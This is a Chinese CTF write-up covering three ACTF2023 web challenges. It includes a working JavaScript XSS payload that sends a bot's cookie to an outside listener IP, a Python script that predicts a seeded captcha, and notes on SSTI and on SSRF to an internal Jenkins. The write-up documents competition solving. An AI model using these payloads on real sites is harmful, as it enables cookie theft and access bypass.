an4er

Want to be a Ctfer, Developer, Red Team


ACTF2023 WP

Published October 31, 2023

周末看了下ACTF的题目,在这里做个记录

easy latex

题目起手先在bot里面看到了flag

image-20231031211020499

可是被设置为了httpOnly,也就是我们不可能使用xss去获得flag,查看其应用路由。在vip中发现

image-20231031211130263

它获取了请求中的cookie,将其重新拼装后发送请求,也就是我们的bot只要向vip 路由发送post请求就能拿其Cookie,但是我们需要外带的话,需要控制其username为我们监听的地址或者webhook。最后就是找个地方能触发JS脚本执行的地方,外带脚本如下

const url = "http://localhost:3000/login";
const requestBody = "username=http%3A%2F%2F49.232.214.202%3A5000%2F&password=add29f48a5ae410bd6e875c8cd1ab8b7";

fetch(url, {
    method: "POST",
    // 设置请求头
    headers: {
        "Host": "localhost:3000",
        "Accept": "textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": "http://localhost:3000/login",
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": requestBody.length.toString(),
        "Origin": "http://localhost:3000",
        "DNT": "1",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
    },
    body: requestBody,
})
    .then(async (response) => {
        await sleep(100);

        fetch('http://localhost:3000/vip', {
            method: 'POST',
            body: JSON.stringify({ code: "3672953f54673678" }),
            headers: {
                'Content-Type': 'application/json',
            },
            credentials: 'include',
        });
    });

const sleep = (time) => {
    return new Promise(resolve => setTimeout(resolve, time));
};

路由内可以造成XSS就两个点,一个preview一个note,但是note需要登录,看了下逻辑不太可能去绕过VIP,然后试了下在puppeteer中是可以使用../去逃逸出固定的路由的,所以可以使用preview去触发XSS这个点

preview路由中

image-20231031211606922

我们的theme可控,然后渲染页面后会去加载/js/base.js,所以我们只要将上面的脚本放在服务器上,让其加载就能造成XSS

story

看了下代码第一眼:致敬Jumpserver哈哈哈哈

实例化Captcha播种,其中的key可以通过发送访问请求和第一次random来算出来,然后就是计算在实例化后到发送VIP经过几次random可以算出来成为VIP需要的验证码,我这里是先登录后播种再去成为VIP,所以只要算/captcha和/vip路由的即可,然后就是SSTI,选一条好绕的开爆就完事了

计算脚本:

import random
import typing as t
import os
from PIL.Image import new as createImage, Image, QUAD, BILINEAR
from PIL.ImageDraw import Draw, ImageDraw
from PIL.ImageFilter import SMOOTH
from PIL.ImageFont import FreeTypeFont, truetype
from io import BytesIO
import time
import jwt
import requests
from flask_jwt_extended import  decode_token
from flask_unsign import decode

ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]
DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))

def random_color(start: int, end: int, opacity: t.Optional[int] = None) -> ColorTuple:
    red = random.randint(start, end)
    green = random.randint(start, end)
    blue = random.randint(start, end)
    if opacity is None:
        return (red, green, blue)
    return (red, green, blue, opacity)


class Captcha:
    lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

    def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
                 fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
        self._width = width
        self._height = height
        self._length = length
        self._key = key
        self._fonts = fonts or DEFAULT_FONTS
        self._font_sizes = font_sizes or (42, 50, 56)
        self._truefonts: t.List[FreeTypeFont] = []
        # random.seed(self._key)

    @property
    def truefonts(self) -> t.List[FreeTypeFont]:
        if self._truefonts:
            return self._truefonts
        self._truefonts = [
            truetype(n, s)
            for n in self._fonts
            for s in self._font_sizes
        ]
        return self._truefonts

    @staticmethod
    def create_noise_curve(image: Image, color: ColorTuple) -> Image:
        w, h = image.size
        x1 = random.randint(0, int(w / 5))
        x2 = random.randint(w - int(w / 5), w)
        y1 = random.randint(int(h / 5), h - int(h / 5))
        y2 = random.randint(y1, h - int(h / 5))
        points = [x1, y1, x2, y2]
        end = random.randint(160, 200)
        start = random.randint(0, 20)
        Draw(image).arc(points, start, end, fill=color)
        return image

    @staticmethod
    def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
        draw = Draw(image)
        w, h = image.size
        while number:
            x1 = random.randint(0, w)
            y1 = random.randint(0, h)
            draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
            number -= 1
        return image

    def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
        font = random.choice(self.truefonts)

        left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
        w = int((right - left)*1.7) or 1
        h = int((bottom - top)*1.7) or 1

        dx1 = random.randint(0, 4)
        dy1 = random.randint(0, 6)
        im = createImage('RGBA', (w + dx1, h + dy1))
        Draw(im).text((dx1, dy1), c, font=font, fill=color)

        # rotate
        im = im.crop(im.getbbox())
        im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)

        # warp
        dx2 = w * random.uniform(0.1, 0.3)
        dy2 = h * random.uniform(0.2, 0.3)
        x1 = int(random.uniform(-dx2, dx2))
        y1 = int(random.uniform(-dy2, dy2))
        x2 = int(random.uniform(-dx2, dx2))
        y2 = int(random.uniform(-dy2, dy2))
        w2 = w + abs(x1) + abs(x2)
        h2 = h + abs(y1) + abs(y2)
        data = (
            x1, y1,
            -x1, h2 - y2,
            w2 + x2, h2 + y2,
            w2 - x2, -y1,
        )
        im = im.resize((w2, h2))
        im = im.transform((w, h), QUAD, data)
        return im

    def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
        image = createImage('RGB', (self._width, self._height), background)
        draw = Draw(image)

        images: t.List[Image] = []
        for c in chars:
            if random.random() > 0.5:
                images.append(self._draw_character(" ", draw, color))
            images.append(self._draw_character(c, draw, color))

        text_width = sum([im.size[0] for im in images])

        width = max(text_width, self._width)
        image = image.resize((width, self._height))

        average = int(text_width / len(chars))
        rand = int(0.25 * average)
        offset = int(average * 0.1)

        for im in images:
            w, h = im.size
            mask = im.convert('L').point(self.lookup_table)
            image.paste(im, (offset, int((self._height - h) / 2)), mask)
            offset = offset + w + random.randint(-rand, 0)

        if width > self._width:
            image = image.resize((self._width, self._height))

        return image

    def generate_image(self, chars: str) -> Image:
        background = random_color(238, 255)
        color = random_color(10, 200, random.randint(220, 255))
        im = self.create_captcha_image(chars, color, background)
        self.create_noise_dots(im, color)
        self.create_noise_curve(im, color)
        im = im.filter(SMOOTH)
        return im

    def generate(self, format: str = 'png',code: str= '') -> (BytesIO,str):
        code =  code
        im = self.generate_image(code)
        out = BytesIO()
        im.save(out, format=format)
        out.seek(0)
        return out, code

    def write(self, output: str, format: str = 'png') -> (Image, str):
        code = generate_code(self._length)
        im = self.generate_image(code)
        im.save(output, format=format)
        return im, code





burp0_url = "http://127.0.0.1:15000/captcha"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
rsp = requests.get(burp0_url, headers=burp0_headers)
timestamp = int(time.time())
session_cookie = rsp.cookies.get('session')
decoded_payload = decode(session_cookie)
cap = decoded_payload.get("captcha")

for i in range(1,100):
    key = timestamp + i
    random.seed(key)
    code = generate_code()
    if code == cap:
        print(key)
        gen = Captcha(200, 80,key=key)
        buf, captcha_text = gen.generate(code=code)
        captcha = generate_code()
        print(captcha)

        break

hooks

整个题目架构就是用Nginx去反代一个程序,然后内网还有个jenkins

使用gitlabwebhook经过302重定向可以发送get请求,访问nginx会回显一个重定向参数,然后将其重定向到内网的jenkins,发现其版本为2.138,存在历史漏洞,但是我咋都打不通,且nginx代理的程序存在waf,后面在看